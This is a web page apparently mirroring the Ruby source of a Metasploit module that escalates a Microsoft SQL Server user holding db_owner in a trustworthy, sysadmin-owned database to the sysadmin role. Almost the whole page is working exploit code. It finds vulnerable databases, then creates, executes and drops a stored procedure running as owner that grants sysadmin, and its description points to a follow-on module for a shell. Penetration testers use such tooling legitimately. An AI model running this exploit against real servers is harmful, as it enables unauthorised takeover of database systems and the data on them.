Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::OptionalSession::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft SQL Server Escalate Db_Owner',
15
'Description' => %q{
16
This module can be used to escalate privileges to sysadmin if the user has
17
the db_owner role in a trustworthy database owned by a sysadmin user. Once
18
the user has the sysadmin role the msssql_payload module can be used to obtain
19
a shell on the system.
20
},
21
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
22
'License' => MSF_LICENSE,
23
'References' => [[ 'URL', 'http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [IOC_IN_LOGS],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
def run
34
# Check connection and issue initial query
35
if session
36
set_mssql_session(session.client)
37
else
38
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
39
if mssql_login_datastore
40
print_good('Connected.')
41
else
42
print_error('Login was unsuccessful. Check your credentials.')
43
disconnect
44
return
45
end
46
end
47
48
# Query for sysadmin status
49
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
50
user_status = check_sysadmin
51
52
# Check if user has sysadmin role
53
if user_status == 1
54
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
55
disconnect
56
return
57
end
58
59
print_status("You're NOT a sysadmin, let's try to change that")
60
61
# Check for trusted databases owned by sysadmins
62
print_status('Checking for trusted databases owned by sysadmins...')
63
trust_db_list = check_trust_dbs
64
if trust_db_list.nil? || trust_db_list.empty?
65
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
66
disconnect
67
return
68
end
69
70
# Display list of accessible databases to user
71
print_good("#{trust_db_list.length} affected database(s) were found:")
72
trust_db_list.each do |db|
73
print_status(" - #{db[0]}")
74
end
75
76
# Check if the user has the db_owner role in any of the databases
77
print_status('Checking if the user has the db_owner role in any of them...')
78
dbowner_status = check_db_owner(trust_db_list)
79
if dbowner_status.nil?
80
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
81
disconnect
82
return
83
end
84
85
# Attempt to escalate to sysadmin
86
print_status("Attempting to escalate in #{dbowner_status}!")
87
escalate_status = escalate_privs(dbowner_status)
88
if escalate_status
89
# Check if escalation was successful
90
user_status = check_sysadmin
91
if user_status == 1
92
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
93
else
94
print_error('Fail buckets, something went wrong.')
95
end
96
else
97
print_error('Error while trying to escalate status')
98
end
99
100
disconnect
101
return
102
end
103
104
# Checks if user is already sysadmin
105
def check_sysadmin
106
# Setup query to check for sysadmin
107
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
108
109
# Run query
110
result = mssql_query(sql)
111
112
# Parse query results
113
parse_results = result[:rows]
114
status = parse_results[0][0]
115
116
# Return status
117
return status
118
end
119
120
# Gets trusted databases owned by sysadmins
121
def check_trust_dbs
122
# Setup query
123
sql = "SELECT d.name AS DATABASENAME
124
FROM sys.server_principals r
125
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
126
INNER JOIN sys.server_principals p ON
127
p.principal_id = m.member_principal_id
128
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
129
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
130
131
result = mssql_query(sql)
132
133
# Return on success
134
return result[:rows]
135
end
136
137
# Checks if user has the db_owner role
138
def check_db_owner(trust_db_list)
139
# Check if the user has the db_owner role is any databases
140
trust_db_list.each do |db|
141
# Setup query
142
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
143
from [#{db[0]}].sys.database_role_members drm
144
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
145
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
146
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
147
148
# Run query
149
result = mssql_query(sql)
150
151
# Parse query results
152
parse_results = result[:rows]
153
if parse_results && parse_results.any?
154
print_good("- db_owner on #{db[0]} found!")
155
return db[0]
156
end
157
end
158
159
nil
160
end
161
162
def escalate_privs(dbowner_db)
163
print_status(dbowner_db.to_s)
164
# Create the evil stored procedure WITH EXECUTE AS OWNER
165
evil_sql_create = "use #{dbowner_db};
166
DECLARE @myevil as varchar(max)
167
set @myevil = '
168
CREATE PROCEDURE sp_elevate_me
169
WITH EXECUTE AS OWNER
170
as
171
begin
172
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
173
end';
174
exec(@myevil);
175
select 1;"
176
mssql_query(evil_sql_create)
177
178
# Run the evil stored procedure
179
evilsql_run = "use #{dbowner_db};
180
DECLARE @myevil2 as varchar(max)
181
set @myevil2 = 'EXEC sp_elevate_me'
182
exec(@myevil2);"
183
mssql_query(evilsql_run)
184
185
# Remove evil procedure
186
evilsql_remove = "use #{dbowner_db};
187
DECLARE @myevil3 as varchar(max)
188
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
189
exec(@myevil3);"
190
mssql_query(evilsql_remove)
191
192
true
193
end
194
end
195
196